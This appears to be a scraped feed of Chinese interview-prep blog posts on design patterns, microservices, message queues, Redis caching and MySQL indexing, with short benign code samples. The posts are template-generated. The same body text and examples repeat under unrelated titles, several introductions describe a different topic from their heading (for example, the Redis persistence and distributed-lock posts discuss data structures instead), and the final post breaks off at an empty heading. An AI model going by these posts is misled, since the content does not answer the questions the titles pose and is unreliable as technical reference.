public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 面试：模板方法模式适合流程固定的业务 //mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/ 面试：模板方法模式适合流程固定的业务

模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 面试：策略模式替代大量 if else //ce-lue-mo-shi-ti-dai-da-liang-if-else/ 面试：策略模式替代大量 if else

策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 面试：工厂模式如何降低创建复杂度 //gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/ 面试：工厂模式如何降低创建复杂度

工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 面试：单例模式的线程安全写法 //dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/ 面试：单例模式的线程安全写法

单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 面试：接口版本管理和灰度发布思路 //jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/ 面试：接口版本管理和灰度发布思路

接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 面试：OpenFeign 调用超时和重试配置 //openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/ 面试：OpenFeign 调用超时和重试配置

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 面试：网关在微服务里承担什么职责 //wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/ 面试：网关在微服务里承担什么职责

API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 面试：服务注册发现的基本流程 //fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/ 面试：服务注册发现的基本流程

服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 面试：配置中心解决了什么问题 //pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/ 面试：配置中心解决了什么问题

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 面试：限流熔断降级的区别和落地 //xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/ 面试：限流熔断降级的区别和落地

限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 限流：控制入口流量，保护系统不被压垮

  2. 熔断：快速失败，防止级联故障

  3. 降级：牺牲非核心功能，保障核心服务

  4. 常用的限流算法：令牌桶、漏桶、滑动窗口

总结

限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。

]]> 分布式 分布式 架构 面试：分布式事务为什么难 //fen-bu-shi-shi-wu-wei-shi-me-nan/ 面试：分布式事务为什么难

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> 分布式 分布式 架构 面试：接口幂等性设计从业务开始 //jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/ 面试：接口幂等性设计从业务开始

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 面试：分布式 ID 生成方案怎么选 //fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/ 面试：分布式 ID 生成方案怎么选

面试：分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 面试：延迟队列的业务场景和实现思路 //yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/ 面试：延迟队列的业务场景和实现思路

延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 面试：消息丢失问题从生产到消费排查 //xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/ 面试：消息丢失问题从生产到消费排查

消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 面试：消息重复消费如何保证幂等 //xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/ 面试：消息重复消费如何保证幂等

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 面试：消息队列为什么能削峰填谷 //xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/ 面试：消息队列为什么能削峰填谷

消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 消息队列的核心价值：异步处理、解耦、削峰填谷

  2. 常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别

  3. 消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认

  4. 消息重复消费的处理：幂等性设计

总结

消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。

]]> 消息队列 架构 消息队列 面试：Redis 大 key 和热 key 排查 //redis-da-key-he-re-key-pai-cha/ 面试：Redis 大 key 和热 key 排查

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 面试：Redis 持久化 RDB 和 AOF 怎么选 //redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/ 面试：Redis 持久化 RDB 和 AOF 怎么选

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 面试：Redis 分布式锁的正确姿势 //redis-fen-bu-shi-suo-de-zheng-que-zi-shi/ 面试：Redis 分布式锁的正确姿势

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 面试：缓存穿透击穿雪崩怎么处理 //huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/ 面试：缓存穿透击穿雪崩怎么处理

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

]]> Redis Redis 缓存 面试：Redis 常见数据结构和使用场景 //redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/ 面试：Redis 常见数据结构和使用场景

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 面试：数据库字段类型如何贴近业务 //shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/ 面试：数据库字段类型如何贴近业务

字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 面试：分页查询性能问题和游标分页 //fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/ 面试：分页查询性能问题和游标分页

分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 面试：慢 SQL 排查和优化完整流程 //man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/ 面试：慢 SQL 排查和优化完整流程

面试：慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 面试：MySQL 事务隔离级别和幻读问题 //mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/ 面试：MySQL 事务隔离级别和幻读问题

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

